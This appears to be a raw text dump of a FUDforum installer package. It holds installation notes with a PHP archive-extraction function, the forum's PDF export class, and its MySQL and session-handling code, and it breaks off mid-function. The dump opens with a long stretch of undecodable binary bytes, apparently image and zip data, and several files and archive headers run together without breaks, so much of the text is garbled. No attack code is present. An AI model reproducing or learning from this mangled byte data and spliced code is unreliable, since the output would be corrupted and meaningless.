*%7wޢAT#JgEhjiFcҐg2>\vKbPs^~~e+?٠O,*6[47V>{"񘠾m hUmxf=}jDmac{}AAGᛩU߅+I\c~:w*Rz} 7/&$bP=]z~.|[;)`0BV ۺJjaMUc- q((.jGGSGgaρãcݍMm[^JX\.אmvb@J\'lSc(KBq.ȗRp~4kɪ #𺧟8/~Y@)` -}۷-\ B1Nb )䵏O<\}߉ћqUh Pǐݾi}/bs4!yl@#V*+65gH]ok\qI+0=C56A4Ƽuʕ+|Vl ~bRDhE%dQX- O>d4RV]q[{c6x̙3gtɞ RD}_+,ʱ}Wq\i)%9A-qhP<]H`?\䚇Ol4ő7~핮yԕD`ڇ˃c3/[/~ l` AcZ[؏ÛG)@VOI辝.7ke~B'agzAT!B޴r=ws?gAcK*YzjbRyg֫hXƛ\}ߗ:KndkXtV $y<6+;pBD+iVj&tpT4Zhn[zu5ysg{0_Rr82brՆZce(b?,E^6>X"` d ?Du•WTNЮ+閙b~3M~ 6HQ@D_7^~4v"kU :rQg͚5s *yv'I,Yq%TȢƲv!ȏ %NOeW`#Z>msм50ٷc|h쓟%((TҒ?qrޒ%CN*!Eaք(I60 6g1F7w˖/_c::[.U|'wzx<.^dK> I\A* Ъ%jet؉!lh0p)۵=_ KQ!!1he8 "AACx".7_*%ӽ\clz\Cu70&xԃ}=;H'q-w<+q,IE:y|KuttȤ-qgWL713 kytч=;" (DP.ܾ+W:ka@y?Cբ@eHₑ2` ]h@lے_ YcuGc=/9,Z0gHz5;;/g`@f5EҔGqaH>s{vHk6545td?TA8[rMcKV˞/}5/ۅR.H4>i%2ۏe-~օ#~(ۿ@K 6Ή&1!jK+ލ7^9cfww7TRTPҒUk|s*DI-fhѢnR?7ݴZ]RFB&pB}\mliwM+ULFK#Jee^A`FJsfx!R 8 /`==o>X$XskǛ_|l{bWͿ剭Ewj)qW 3vG۔indA.(,y4+bqlp/uw}mt.2uos`{~p9 I@0R 5ҴL\ xk=;F_G%aaTA`zMDt1":~ãYZL.fC{~Ju1"kshIe_7~5k([3g%<ÿ,he_{~aREwWdndᄋvE #qQا2J%T*L]}kRPkƼ'Okd_nsbEg  ꒞Ė ˔mvpX+sf|f R=;r_Xϸ71r$(A13s6d1#BjTtcl)Z[z5A!5H\v G"o5u56vow آQѱ]'w}{[U9HbW߼6)lbR9o4AICyEs7ɢl6IoNH FKIћ5պja'6@QDDpЯk$=rVN~Y{c) @aVAKpδ 97sF9nT*4ARgܵβ_scqit@fG#"X2k&M3 p>F^:,_.Vӏ#G8tmb:g%= uÓwX蹋j| 8qˎ=LxAisn϶7;?- `6%_S[uz>[ygϋ/E'݂ '&je#"=mpF.es|p„s> HEYBġ#~i5 9]/nL<288hA"{z #VYv5cيwVD !bF=wlen/{.m))A uʼn"yq ) o~H"% zZc$UkP>+_2 *ȊwS,n>.9}AxI{ x)k`~$PlWcG6V}3- 9swK5OUKi7)?3SUGO<l?OĢT[~n㙀/m\*E-,RL9C7֙t* ~h~hDš[2 (2}3s~ꮻ[.71)^؉ZZ |?{ Oű2BLtid$D<};[֕3p H*X@◟}:*uƔ7L / DV0ojZzLA=s- #J{gg)RseB )s㞃{~"t70U\X)Ŋ6s1%)"[!.}'fU,`yl$eTGhbN?/Q>cOZT _A8]l\w;xm ƒ`{Q@Yak~~wIvApQBP>^rn?X,!$L}ïDK{`dߖ;}dR[LBF5S;ҳU0x)>&*p_!\Z/uL 8>2 ֿ/4Ͻ>qTׯY2e%Yuw#Rtݍ7&];Ѽ,dݳ6.lJbC`L꽋3WX#W_B -mݽkoXhR?@R#WkGӑ_ʦ02-U؞Ӽt1"2lm7KlX? P4e@J|R9K]XEd2N"Q9M|{7DG8ՙ 5 =}g/*0ʨaJXb}Gxf7)T?7ORsUC* } VH<0L %z̽_FFx—dT=oL~䨒0}evuŃ4=iA,B6Ț <W8p !bf,3, F,ˮ|/b奛;Pʨ}c2m6U"I\@uq?owN7ouӽMlq)گ{ E(t0}OǞ{m/|][6p'$u=?h]e5Xygma МzW>?#Gb615]ooσWmޛVo X@MO ^V7ʼ:HgAH1ueOMVuF֐bKڼHRΰ(n Q(&zf)‚.Y.bֻP:5]vBdB镠0h{CVL,I)V|@7-/wś̋7}_,R UFoZK7ÛM[~-l,bҡ_šnp) \i5na7' N wHPg+v%}+O6 *\33r^a.UèY#+Iֺ' zB"`R!8VٷOli2d+x湁</$ɴK-k@ȕVHUSЪpJBwL^$#b"q7*=@t=_upA3(ԉS 82sԾ=S*#MN>ooD#(@*50ccqIk4,\bJшI%J#`jR/C9! TL;Λ 2 @씱B 1s8$`+kxsNV9&{վ;Bh緷`]L9(e+YCBT{d^8+HU'[3М;k]W+[ňf\,͡s)ڞˏ:h#me\Jgϕ[*MQ}_?K1lshvڻ> \ˌ9ɱ7\5ͳQy^o9?懅VQNcα 1ڥ.guCGWd~pZ[ʚ-Az:4SDvH8Mm%at^EA 3^or,iwo+,+&0+F{{U eXyQགྷ}| eO9޺ IW"=UToH\@$r%Im@@;~yxIi̒;wxT 2S{"X@ѯme/eIENDB`PKl0]/ notes.txtnu[1. While installation use this 'fud30_' as dbprefix 2. We configure .htaccess to remove the php_value and php_flag 3. take "_GLOBALS.php" dump after 2nd step that is "System setting and Directory path". 4. use this function for extract "fudforum_archive" file. create data_root,web_root folder and execute file function died(){ print_r(error_get_last()); } register_shutdown_function('died'); mkdir("data_root"); mkdir("web_root"); decompress_archive('./data_root/', './web_root/'); function decompress_archive($data_root, $web_root) { $clean = array('PHP_OPEN_TAG'=>''<%'); // CLI doesn't automatically change the CWD to the one the started script resides in. chdir(dirname(__FILE__)); // Try to download the fudforum_archive if not available. if (!file_exists('./fudforum_archive')) { $archive_url = 'https://raw.githubusercontent.com/fudforum/FUDforum/master/fudforum_archive'; @file_put_contents('./fudforum_archive', fopen($archive_url, 'r')); } /* Install from './fudforum_archive' file. */ $fp = fopen('./fudforum_archive', 'rb') or die('The install script requires a "fudforum_archive" file to run. Please download it and retry again.'); $checksum = fread($fp, 32); $tmp = fread($fp, 20000); fseek($fp, (ftell($fp) - 20000), SEEK_SET); if (strpos($tmp, 'RAW_PHP_OPEN_TAG') !== FALSE) { /* No compression. */ unset($clean['PHP_OPEN_TAG']); $clean['RAW_PHP_OPEN_TAG'] = ' 100000) { $data = gzuncompress(strtr(fread($fp, $data_len), $clean), $data_len); } } fclose($fp); if (empty($data) || md5($data) != $checksum) { exit("Archive did not pass the checksum test, it is corrupt!
\nIf you've encountered this error it means that you've:
  • downloaded a corrupt 'fudforum_archive' file
  • uploaded the archive to your server in ASCII and not BINARY mode
  • your FTP Server/Decompression software/Operating System added un-needed cartrige return ('\\r') characters to the archive.
\n"); } $pos = 0; do { $end = strpos($data, "\n", $pos+1); $meta_data = explode('//', substr($data, $pos, ($end-$pos))); $pos = $end; if (!isset($meta_data[3]) || $meta_data[3] == '/install') { continue; } if (!strncmp($meta_data[3], 'install/forum_data', 18)) { $path = $data_root . substr($meta_data[3], 18); } else if (!strncmp($meta_data[3], 'install/www_root', 16)) { $path = $web_root . substr($meta_data[3], 16); } else { continue; } $path .= '/'. $meta_data[1]; $path = str_replace('//', '/', $path); if (isset($meta_data[5])) { $file = substr($data, ($pos + 1), $meta_data[5]); if (md5($file) != $meta_data[4]) { exit('ERROR: file '. $meta_data[1] .' was not read properly from archive'); } if ($path == $web_root .'.htaccess' && @file_exists($path)) { define('old_htaccess', 1); continue; } if (defined('fud_debug')) echo "Extracting $path\n"; $fp = @fopen($path, 'wb'); if (!$fp) { if (basename($path) != '.htaccess') { exit('Couldn\'t open '. $path .' for write.'); } } // TODO: Good place for substitutions before we write the file. fwrite($fp, $file); fclose($fp); @chmod($path, 0644); } else { if (substr($path, -1) == '/') { $path = preg_replace('!/+$!', '', $path); } if (!__mkdir($path)) { exit('ERROR: failed creating directory '. $path); } } } while (($pos = strpos($data, "\n//", $pos)) !== false); } function __mkdir($dir) { $u = umask(0); if (@is_dir($dir)) { return 1; } else if (file_exists($dir)) { unlink($dir); } $ret = (mkdir($dir, 0755) || mkdir(dirname($dir, 0755))); umask($u); return $ret; } 5. use "decompress_archive" function of "install.php" to extract "fudforum_archive" file. 6. make datadir i.e data.zip from "data_root" folder of extracted "fudforum_archive". 7. make fud.zip from downloaded installer zip and "web_root" folder of extracted "fudforum_archive" (exclude .github folder from our zip). 8. for creating cache go to "Forum Consistency" and proceed also verify post values of curlcall in install.php and update 9. for creating template go to "Theme Manager" and click on "[ Rebuild all Themes ]" also verify post values of curlcall in install.php and update 10. http://cvs.prohost.org/index.php?title=FUDforum_3.0.9#Requirements or https://github.com/fudforum/FUDforum/releases/tag/v3.2.0 (check latest release notes) 11. Copy files which need not to be configured from {Manual Data Dir}/include/theme/default and keep files which need to be configured in {Our Package}/defaultPKl0]6pdf.phpnu[AddPage(); $this->Bookmark($title); } function input_text($text) { $this->SetFont('helvetica', '', 12); $this->Write(5, $text); $this->Ln(5); } function draw_line() { $this->Line($this->lMargin, $this->y, ($this->w - $this->rMargin), $this->y); } function add_link($url, $caption=0) { $this->SetTextColor(0,0,255); $this->Write(5, $caption ? $caption : $url, $url); $this->SetTextColor(0); } function add_attacments($attch, $private=0) { $this->Ln(5); $this->SetFont('courier', '', 16); $this->Write(5, 'File Attachments'); $this->Ln(5); $this->draw_line(); $this->SetFont('', '', 14); $i = 0; foreach ($attch as $a) { $this->Write(5, ++$i .') '); $this->add_link($GLOBALS['WWW_ROOT'] .'index.php?t=getfile&id='. $a['id'] . ($private ? '&private=1' : ''), $a['name']); $this->Write(5, ', downloaded '. $a['nd'] .' times'); // GIF, PNG and JPG images can be embedded. if (extension_loaded('gd') && preg_match('/\.gif$/i', $a['name'])) { $this->Ln(5); $this->Image($GLOBALS['WWW_ROOT'] .'index.php?t=getfile&id='. $a['id'] . ($private ? '&private=1' : ''), null, null, 0, 0, 'GIF'); } elseif (preg_match('/\.png$/i', $a['name'])) { $this->Ln(5); $this->Image($GLOBALS['WWW_ROOT'] .'index.php?t=getfile&id='. $a['id'] . ($private ? '&private=1' : ''), null, null, 0, 0, 'PNG'); } elseif (preg_match('/\.(jpg|jpeg)$/i', $a['name'])) { $this->Ln(5); $this->Image($GLOBALS['WWW_ROOT'] .'index.php?t=getfile&id='. $a['id'] . ($private ? '&private=1' : ''), null, null, 0, 0, 'JPEG'); } $this->Ln(5); } } function add_poll($name, $opts, $ttl_votes) { $this->Ln(6); $this->SetFont('courier', '', 16); $this->Write(5, $name); $this->SetFont('', '', 14); $this->Write(5, '(total votes: '. $ttl_votes .')'); $this->Ln(6); $this->draw_line(); $this->Ln(5); $p1 = ($this->w - $this->rMargin - $this->lMargin) * 0.6 / 100; // Avoid /0 warnings and safe to do, since we'd be multiplying 0 since there are no votes, if (!$ttl_votes) { $ttl_votes = 1; } $this->SetFont('helvetica', '', 14); foreach ($opts as $o) { $this->SetFillColor(52, 146, 40); $this->Cell((!$o['votes'] ? 1 : $p1 * (($o['votes'] / $ttl_votes) * 100)), 5, $o['name'] ."\t\t". $o['votes'] .'/('.round(($o['votes'] / $ttl_votes) * 100).'%)', 1, 0, '', 1); $this->Ln(5); } $this->SetFillColor(); } function message_header($subject, $author, $date, $id, $th) { $this->Rect($this->lMargin, $this->y, (int)($this->w - $this->lMargin - $this->lMargin), 1, 'F'); $this->Ln(2); $this->SetFont('helvetica', '', 14); $this->Bookmark($subject, 1); $this->Write(5, 'Subject: '. $subject); $this->Ln(5); $this->Write(5, 'Posted by '); $this->add_link($GLOBALS['WWW_ROOT'] .'index.php?t=usrinfo&id='. $author[0], $author[1]); $this->Write(5, ' on '. gmdate('D, d M Y H:i:s \G\M\T', $date)); if ($th) { $this->SetFont('helvetica', '', 10); $this->Ln(5); $this->add_link($GLOBALS['WWW_ROOT'] .'index.php?t=rview&th='. $th .'&goto='. $id .'#msg_'. $id, 'View Forum Message'); $this->Write(5, ' <> '); $this->add_link($GLOBALS['WWW_ROOT'] .'index.php?t=post&reply_to='. $id, 'Reply to Message'); } $this->Ln(5); $this->draw_line(); $this->Ln(3); } function end_message() { $this->Ln(3); $this->Rect($this->lMargin, $this->y, (int)($this->w - $this->lMargin - $this->lMargin), 1, 'F'); $this->Ln(10); } function header() { } function footer() { $this->SetFont('courier', '', 8); $this->Ln(10); $this->draw_line(); $this->Write(5, 'Page '. $this->page .' of {fnb} ---- Generated from '); $this->add_link($GLOBALS['WWW_ROOT'] .'index.php', $GLOBALS['FORUM_TITLE']); // $this->Write(5, ' by FUDforum '. $GLOBALS['FORUM_VERSION']); } function Bookmark($txt, $level=0) { $this->outlines[] = array('t' => $txt, 'l' => $level, 'y' => $this->y, 'p' => $this->page); } function _putbookmarks() { if (empty($this->outlines)) { return; } $nb = count($this->outlines); $lru = array(); $level = 0; foreach ($this->outlines as $i => $o) { if($o['l'] > 0) { $parent = $lru[$o['l']-1]; // Set parent and last pointers. $this->outlines[$i]['parent'] = $parent; $this->outlines[$parent]['last'] = $i; if ($o['l'] > $level) { // Level increasing: set first pointer. $this->outlines[$parent]['first'] = $i; } } else { $this->outlines[$i]['parent'] = $nb; } if($o['l'] <= $level && $i > 0) { // Set prev and next pointers. $prev = $lru[$o['l']]; $this->outlines[$prev]['next'] = $i; $this->outlines[$i]['prev'] = $prev; } $lru[$o['l']] = $i; $level = $o['l']; } // Outline items. $n = $this->n + 1; foreach($this->outlines as $i => $o) { $this->_newobj(); $this->_out('<_textstring($o['t'])); $this->_out('/Parent '. ($n+$o['parent']).' 0 R'); if(isset($o['prev'])) $this->_out('/Prev '. ($n+$o['prev']).' 0 R'); if(isset($o['next'])) $this->_out('/Next '. ($n+$o['next']).' 0 R'); if(isset($o['first'])) $this->_out('/First '. ($n+$o['first']).' 0 R'); if(isset($o['last'])) $this->_out('/Last '. ($n+$o['last']).' 0 R'); $this->_out(sprintf('/Dest [%d 0 R /XYZ 0 %.2f null]', 1+2*$o['p'], ($this->h-$o['y'])*$this->k)); $this->_out('/Count 0>>'); $this->_out('endobj'); } // Outline root. $this->_newobj(); $this->OutlineRoot = $this->n; $this->_out('<_out('/Last '. ($n+$lru[0]) .' 0 R>>'); $this->_out('endobj'); } } /* main */ /* Before we go on, we need to do some very basic activation checks. */ if (!($FUD_OPT_1 & 1)) { // FORUM_ENABLED fud_use('errmsg.inc'); exit_forum_disabled(); } /* This potentially can be a longer form to generate. */ @set_time_limit($PDF_MAX_CPU); # define('fud_query_stats', 1); class db { public static $db, $slave; } if (empty(db::$db)) { // Use MYSQLI_REPORT_OFF so we can check error codes manually. $driver = new mysqli_driver(); $driver->report_mode = MYSQLI_REPORT_OFF; if (substr($GLOBALS['DBHOST'], 0, 1) == ':') { // Socket connection. $socket = substr($GLOBALS['DBHOST'], 1); $GLOBALS['DBHOST'] = 'localhost'; } else { $socket = NULL; } if ($GLOBALS['FUD_OPT_1'] & 256 && $socket == NULL && version_compare(PHP_VERSION, '5.3.0', '>=')) { // Enable pconnect for PHP 5.3+. $GLOBALS['DBHOST'] = 'p:'. $GLOBALS['DBHOST']; } db::$db = new mysqli($GLOBALS['DBHOST'], $GLOBALS['DBHOST_USER'], $GLOBALS['DBHOST_PASSWORD'], $GLOBALS['DBHOST_DBNAME'], NULL, $socket); if (mysqli_connect_errno()) { fud_sql_error_handler('Failed to establish database connection', 'MySQLi says: '. mysqli_connect_error(), mysqli_connect_errno(), ''); } db::$db->set_charset('utf8'); /* Connect to slave, if specified. */ if (!empty($GLOBALS['DBHOST_SLAVE_HOST']) && !$GLOBALS['is_post']) { db::$slave = new mysqli($GLOBALS['DBHOST'], $GLOBALS['DBHOST_USER'], $GLOBALS['DBHOST_PASSWORD'], $GLOBALS['DBHOST_DBNAME'], NULL, $socket); if (mysqli_connect_errno()) { fud_logerror('Unable to init SlaveDB, fallback to MasterDB: '. mysqli_connect_error(), 'sql_errors'); } else { db::$db->set_charset('utf8'); } } define('__dbtype__', 'mysql'); } function db_close() { db::$db->close(); } function db_version() { if (!defined('__FUD_SQL_VERSION__')) { $ver = q_singleval('SELECT VERSION()'); define('__FUD_SQL_VERSION__', $ver); } return __FUD_SQL_VERSION__; } function db_lock($tables) { if (!empty($GLOBALS['__DB_INC_INTERNALS__']['db_locked'])) { fud_sql_error_handler('Recursive Lock', 'internal', 'internal', db_version()); } else { q('LOCK TABLES '. $tables); $GLOBALS['__DB_INC_INTERNALS__']['db_locked'] = 1; } } function db_unlock() { if (empty($GLOBALS['__DB_INC_INTERNALS__']['db_locked'])) { unset($GLOBALS['__DB_INC_INTERNALS__']['db_locked']); fud_sql_error_handler('DB_UNLOCK: no previous lock established', 'internal', 'internal', db_version()); } if (--$GLOBALS['__DB_INC_INTERNALS__']['db_locked'] < 0) { unset($GLOBALS['__DB_INC_INTERNALS__']['db_locked']); fud_sql_error_handler('DB_UNLOCK: unlock overcalled', 'internal', 'internal', db_version()); } unset($GLOBALS['__DB_INC_INTERNALS__']['db_locked']); q('UNLOCK TABLES'); } function db_locked() { return isset($GLOBALS['__DB_INC_INTERNALS__']['db_locked']); } function db_affected() { return db::$db->affected_rows; } function uq($query) { $db = db::$db; $r = $db->real_query($query); if ($db->error) { fud_sql_error_handler($query, $db->error, $db->errno, db_version()); } return $db->use_result(); } if (!defined('fud_query_stats')) { function q($query) { // Assume master DB, route SELECT's to slave DB. // Force master if DB is locked (in transaction) or 'SELECT /* USE MASTER */'. $db = db::$db; if (!empty(db::$slave) && !db_locked() && !strncasecmp($query, 'SELECT', 6) && strncasecmp($query, 'SELECT /* USE MASTER */', 23)) { $db = db::$slave; } $r = $db->query($query); if ($db->error) { fud_sql_error_handler($query, $db->error, $db->errno, db_version()); } return $r; } } else { function q($query) { if (!isset($GLOBALS['__DB_INC_INTERNALS__']['query_count'])) { $GLOBALS['__DB_INC_INTERNALS__']['query_count'] = 1; } else { ++$GLOBALS['__DB_INC_INTERNALS__']['query_count']; } if (!isset($GLOBALS['__DB_INC_INTERNALS__']['total_sql_time'])) { $GLOBALS['__DB_INC_INTERNALS__']['total_sql_time'] = 0; } // Assume master DB, route SELECT's to slave DB. // Force master if DB is locked (in transaction) or 'SELECT /* USE MASTER */'. $db = db::$db; if (!empty(db::$slave) && !db_locked() && !strncasecmp($query, 'SELECT', 6) && strncasecmp($query, 'SELECT /* USE MASTER */', 23)) { $db = db::$slave; } $s = microtime(true); $result = $db->query($query); if ($db->error) { fud_sql_error_handler($query, $db->error, $db->errno, db_version()); } $e = microtime(true); $GLOBALS['__DB_INC_INTERNALS__']['last_time'] = ($e - $s); $GLOBALS['__DB_INC_INTERNALS__']['total_sql_time'] += $GLOBALS['__DB_INC_INTERNALS__']['last_time']; echo '
Query #'. $GLOBALS['__DB_INC_INTERNALS__']['query_count'] .''; echo ': time taken: '. number_format($GLOBALS['__DB_INC_INTERNALS__']['last_time'], 4) .''; echo ', affected rows: '. db_affected() .''; echo ', total sql time: '. number_format($GLOBALS['__DB_INC_INTERNALS__']['total_sql_time'], 4) .''; echo '
'. preg_replace('!\s+!', ' ', htmlspecialchars($query)) .'
'; return $result; } } function db_rowobj($result) { return $result->fetch_object(); } function db_rowarr($result) { return $result->fetch_row(); } function q_singleval($query) { $r = q($query); if (($result = $r->fetch_row()) !== false && isset($result)) { return isset($result) ? $result[0] : ''; } } function q_limit($query, $limit, $off=0) { return $query .' LIMIT '. $limit .' OFFSET '. $off; } function q_concat($arg) { // MySQL badly breaks the SQL standard by redefining || to mean OR. $tmp = func_get_args(); return 'CONCAT('. implode(',', $tmp) .')'; } function q_rownum() { q('SET @seq=0'); // For simulating rownum. return '(@seq:=@seq+1)'; } function q_bitand($fieldLeft, $fieldRight) { return $fieldLeft .' & '. $fieldRight; } function q_bitor($fieldLeft, $fieldRight) { return '('. $fieldLeft .' | '. $fieldRight .')'; } function q_bitnot($bitField) { return '~'. $bitField; } function db_saq($q) { $r = q($q); return $r->fetch_row() ; } function db_sab($q) { $r = q($q); return $r->fetch_object(); } function db_qid($q) { q($q); return db::$db->insert_id; } function db_arr_assoc($q) { $r = q($q); return $r->fetch_array(MYSQLI_ASSOC); } function db_fetch_array($r) { return is_object($r) ? $r->fetch_array(MYSQLI_ASSOC) : null; } function db_li($q, &$ef, $li=0) { $r = db::$db->query($q); if ($r) { return ($li ? db::$db->insert_id : $r); } /* Duplicate key. */ if (db::$db->errno == 1062) { $ef = ltrim(strrchr(db::$db->error, ' ')); return null; } else { fud_sql_error_handler($q, db::$db->error, db::$db->errno, db_version()); } } function ins_m($tbl, $flds, $types, $vals) { q('INSERT IGNORE INTO '. $tbl .' ('. $flds .') VALUES ('. implode('),(', $vals) .')'); } function db_all($q) { $f = array(); $c = uq($q); while ($r = $c->fetch_row()) { $f[] = $r[0]; } return $f; } function _esc($s) { return '\''. db::$db->real_escape_string($s ?? '') .'\''; }function ses_make_sysid() { if ($GLOBALS['FUD_OPT_2'] & 256) { // MULTI_HOST_LOGIN return; } $keys = array('REMOTE_USER', 'HTTP_USER_AGENT', 'SERVER_PROTOCOL', 'HTTP_ACCEPT_CHARSET', 'HTTP_ACCEPT_LANGUAGE'); if ($GLOBALS['FUD_OPT_3'] & 16) { // SESSION_IP_CHECK $keys[] = 'HTTP_X_FORWARDED_FOR'; $keys[] = 'REMOTE_ADDR'; } $pfx = ''; foreach ($keys as $v) { if (isset($_SERVER[$v])) { $pfx .= $_SERVER[$v]; } } return md5($pfx); } function ses_get($id=0) { $HTTP_USER_AGENT = $_SERVER['HTTP_USER_AGENT'] ?? ''; $HTTP_REFERER = $_SERVER['HTTP_REFERER'] ?? ''; if (!$id) { /* Cookie or URL session? If not, check for known bots. */ $cookie = $_COOKIE[$GLOBALS['COOKIE_NAME']] ?? null; if ($cookie) { /* Have cookie? */ $q_opt = 's.ses_id='. _esc($cookie); } else if ((isset($_GET['S']) || isset($_POST['S'])) && $GLOBALS['FUD_OPT_1'] & 128) { /* Have session string */ $url_session = 1; $q_opt = 's.ses_id='. _esc((isset($_GET['S']) ? (string) $_GET['S'] : (string) $_POST['S'])); /* Do not validate against expired URL sessions. */ $q_opt .= ' AND s.time_sec > '. (__request_timestamp__ - $GLOBALS['SESSION_TIMEOUT']); } else { /* Unknown user, maybe a bot? */ // Auto login authorized bots. // To test: wget --user-agent="Googlebot 1.2" http://127.0.0.1:8080/forum $spider_session = 0; $my_ip = get_ip(); include $GLOBALS['FORUM_SETTINGS_PATH'] .'spider_cache'; foreach ($spider_cache as $spider_id => $spider) { if (preg_match('/'. $spider['useragent'] .'/i', $HTTP_USER_AGENT)) { if (empty($spider['bot_ip'])) { $spider_session = 1; // Agent matched, no IPs to check. break; } else { foreach (explode(',', $spider['bot_ip']) as $bot_ip) { if (!($bot_ip = trim($bot_ip))) { continue; } if (strpos($bot_ip, $my_ip) === 0) { $spider_session = 1; // Agent and an IP matched. break 2; } } } } } if ($spider_session) { if ($spider['bot_opts'] & 2) { // Access blocked. header('HTTP/1.1 403 Forbidden', true, 403); echo 'Go away!'; exit; } if ($id = db_li('INSERT INTO fud30_ses (ses_id, time_sec, sys_id, ip_addr, useragent, user_id) VALUES (\''. $spider['botname'] .'\', '. __request_timestamp__ .', '. _esc(ses_make_sysid()) .', '. _esc($my_ip) .', '. _esc(substr($HTTP_USER_AGENT, 0, 64)) .', '. $spider['user_id'] .')', $ef, 1)) { $q_opt = 's.id='. $id; } else { $q_opt = 's.ses_id='. _esc($spider['botname']); } $GLOBALS['FUD_OPT_1'] ^= 128; // Disable URL sessions for user. } else { /* NeXuS: What is this? Return if user unknown? Function should return only after the query is run. */ //return; // Check sys_id, ip_addr and useragent for a possible match $q_opt = 's.sys_id= '._esc(ses_make_sysid()). ' AND s.ip_addr='._esc(get_ip()). ' AND s.useragent='._esc(substr($HTTP_USER_AGENT, 0, 64)); } } /* ENABLE_REFERRER_CHECK */ if ($GLOBALS['FUD_OPT_3'] & 4 && strncmp($HTTP_REFERER, $GLOBALS['WWW_ROOT'], strlen($GLOBALS['WWW_ROOT']))) { /* More checks, we need those because some proxies mangle referer field. */ $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']; /* $p > 8 https:// or http:// */ if (($p = strpos($HTTP_REFERER, $host)) === false || $p > 8) { $q_opt .= ' AND s.user_id > 2000000000 '; // Different referrer, force anonymous. } } } else { $q_opt = 's.id='. $id; } $u = db_sab('SELECT s.id AS sid, s.ses_id, s.data, s.returnto, s.sys_id, t.id AS theme_id, t.lang, t.name AS theme_name, t.locale, t.theme, t.pspell_lang, t.theme_opt, u.alias, u.posts_ppg, u.time_zone, u.sig, u.last_visit, u.last_read, u.cat_collapse_status, u.users_opt, u.posted_msg_count, u.topics_per_page, u.ignore_list, u.buddy_list, u.id, u.group_leader_list, u.email, u.login, u.sq, u.ban_expiry, u.ban_reason, u.flag_cc FROM fud30_ses s INNER JOIN fud30_users u ON u.id=(CASE WHEN s.user_id>2000000000 THEN 1 ELSE s.user_id END) LEFT OUTER JOIN fud30_themes t ON t.id=u.theme WHERE '. $q_opt); /* Anon user, no session or login. */ if (!$u || $u->id == 1 || $id) { return $u; } if ($u->sys_id == ses_make_sysid()) { return $u; } else if ($GLOBALS['FUD_OPT_3'] & 16 || isset($url_session)) { /* URL sessions must validate sys_id check and SESSION_IP_CHECK must be disabled */ return; } /* Try doing a strict SQ match in last-ditch effort to make things 'work'. */ if (isset($_POST['SQ']) && $_POST['SQ'] == $u->sq) { return $u; } return; } /** Create an anonymous session. */ function ses_anon_make() { $HTTP_USER_AGENT = substr($_SERVER['HTTP_USER_AGENT'] ?? '', 0, 64); // Prevent forum scraping and brute force attacks. if ($GLOBALS['MAX_CALLS_FROM_IP'] > 0) { $ip_count = q_singleval('SELECT count(ip_addr) FROM fud30_ses WHERE ip_addr = '. _esc(get_ip())); if ($ip_count > $GLOBALS['MAX_CALLS_FROM_IP']) { header('HTTP/1.1 429 Too Many Requests', true, 429); echo 'Too Many Requests'; exit; } } do { $uid = 2000000000 + mt_rand(1, 147483647); $ses_id = md5($uid . __request_timestamp__ . getmypid()); } while (!($id = db_li('INSERT INTO fud30_ses (ses_id, time_sec, sys_id, ip_addr, useragent, user_id) VALUES (\''. $ses_id .'\', '. __request_timestamp__ .', '. _esc(ses_make_sysid()) .', '. _esc(get_ip()) .', '. _esc($HTTP_USER_AGENT) .', '. $uid .')', $ef, 1))); /* When we have an anon user, we set a special cookie allowing us to see who referred this user. */ if (isset($_GET['rid']) && !isset($_COOKIE['frm_referer_id']) && $GLOBALS['FUD_OPT_2'] & 8192) { setcookie($GLOBALS['COOKIE_NAME'] .'_referer_id', $_GET['rid'], __request_timestamp__+31536000, $GLOBALS['COOKIE_PATH'], $GLOBALS['COOKIE_DOMAIN']); } if ($GLOBALS['FUD_OPT_3'] & 1) { // SESSION_COOKIES setcookie($GLOBALS['COOKIE_NAME'], $ses_id, 0, $GLOBALS['COOKIE_PATH'], $GLOBALS['COOKIE_DOMAIN']); } else { setcookie($GLOBALS['COOKIE_NAME'], $ses_id, __request_timestamp__+$GLOBALS['COOKIE_TIMEOUT'], $GLOBALS['COOKIE_PATH'], $GLOBALS['COOKIE_DOMAIN']); } return ses_get($id); } /** Update session status to indicate last known action. */ function ses_update_status($ses_id, $action=null, $forum_id=0, $ret='') { if (empty($ses_id)) { header('HTTP/1.1 400 Bad Request', true, 400); echo 'FATAL ERROR: No session, check your forum\'s URL and COOKIE settings.'; exit; } if (strlen($_SERVER['QUERY_STRING'] ?? '') > 255) { // Query string exceeds 'returnto' column length. header('HTTP/1.1 414 URI Too Long', true, 414); echo 'FATAL ERROR: QUERY_STRING too long!'; exit; } $sys_id = ses_make_sysid(); q('UPDATE fud30_ses SET sys_id=\''. $sys_id .'\', forum_id='. (int)$forum_id .', time_sec='. __request_timestamp__ .', action='. ($action ? _esc($action) : 'NULL') .', returnto='. (!is_int($ret) ? (isset($_SERVER['QUERY_STRING']) ? _esc($_SERVER['QUERY_STRING']) : 'NULL') : 'returnto') .' WHERE id='. $ses_id); } /** Save or clear a session variable. */ function ses_putvar($ses_id, $data) { $cond = is_int($ses_id) ? 'id='. (int)$ses_id : 'ses_id=\''. $ses_id .'\''; if (empty($data)) { q('UPDATE fud30_ses SET data=NULL WHERE '. $cond); } else { q('UPDATE fud30_ses SET data='. _esc(serialize($data)) .' WHERE '. $cond); } } /** Destroy a session. */ function ses_delete($ses_id) { // Delete all forum sessions. // Regardless of MULTI_HOST_LOGIN, all sessions will be terminated. q('DELETE FROM fud30_ses WHERE id='. (int)$ses_id); setcookie($GLOBALS['COOKIE_NAME'], '', __request_timestamp__-100000, $GLOBALS['COOKIE_PATH'], $GLOBALS['COOKIE_DOMAIN']); return 1; } function ses_anonuser_auth($id, $error) { if (!empty($_POST)) { $_SERVER['QUERY_STRING'] = ''; } q('UPDATE fud30_ses SET data='. _esc(serialize($error)) .', returnto='. ssn($_SERVER['QUERY_STRING']) .' WHERE id='. $id); if ($GLOBALS['FUD_OPT_2'] & 32768) { // USE_PATH_INFO header('Location: [[relativeurl]]/index.php/l/'. _rsidl); } else { header('Location: [[relativeurl]]/index.php?t=login&'. _rsidl); } exit; }function &init_user() { $o1 =& $GLOBALS['FUD_OPT_1']; $o2 =& $GLOBALS['FUD_OPT_2']; $o3 =& $GLOBALS['FUD_OPT_3']; $o4 =& $GLOBALS['FUD_OPT_4']; if ($o2 & 32768 && empty($_SERVER['PATH_INFO']) && !empty($_SERVER['ORIG_PATH_INFO'])) { $_SERVER['PATH_INFO'] = $_SERVER['ORIG_PATH_INFO']; } /* We need to parse S & rid right away since they are used during user init. */ if ($o2 & 32768 && !empty($_SERVER['PATH_INFO']) && empty($_GET['t'])) { // USE_PATH_INFO $pb = $p = explode('/', trim($_SERVER['PATH_INFO'], '/')); if ($o1 & 128) { 